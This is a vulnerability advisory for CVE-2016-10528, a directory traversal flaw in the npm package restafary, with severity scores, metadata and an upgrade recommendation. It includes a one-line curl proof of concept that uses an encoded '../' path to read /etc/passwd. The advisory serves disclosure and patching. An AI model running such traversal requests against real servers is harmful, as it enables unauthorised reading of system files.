logo

CVE-2016-10528 restafary

Package

Manager: npm
Name: restafary
Vulnerable Version: >=0 <1.6.1

Severity

Level: Medium

CVSS v3.1: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N/E:P/RL:O/RC:C

CVSS v4.0: CVSS:4.0/AV:N/AC:L/AT:P/PR:L/UI:N/VC:L/VI:N/VA:N/SC:N/SI:N/SA:N

EPSS: 0.00414 pctl0.60889

Details

Directory Traversal in restafary Affected versions of `restafary` are susceptible to a directory traversal vulnerability when a root path is specified in the configuration. Proof of Concept ``` curl -i -s -k -X 'GET' -H 'Authorization: Basic YWRtaW46cGFzc3dvcmQ=' 'http://localhost:8000/api/v1/fs/..%2f..%2fetc/passwd' ``` ## Recommendation Update to version 1.6.1 or later.

Metadata

Created: 2019-02-18T23:39:22Z
Modified: 2020-08-31T18:10:25Z
Source: https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2019/02/GHSA-xg5r-8j97-2wrj/GHSA-xg5r-8j97-2wrj.json
CWE IDs: ["CWE-22"]
Alternative ID: GHSA-xg5r-8j97-2wrj
Finding: F063
Auto approve: 1